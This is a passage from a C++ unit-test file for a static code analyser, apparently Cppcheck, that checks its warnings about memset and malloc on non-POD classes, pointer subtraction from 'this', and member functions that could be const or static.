~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 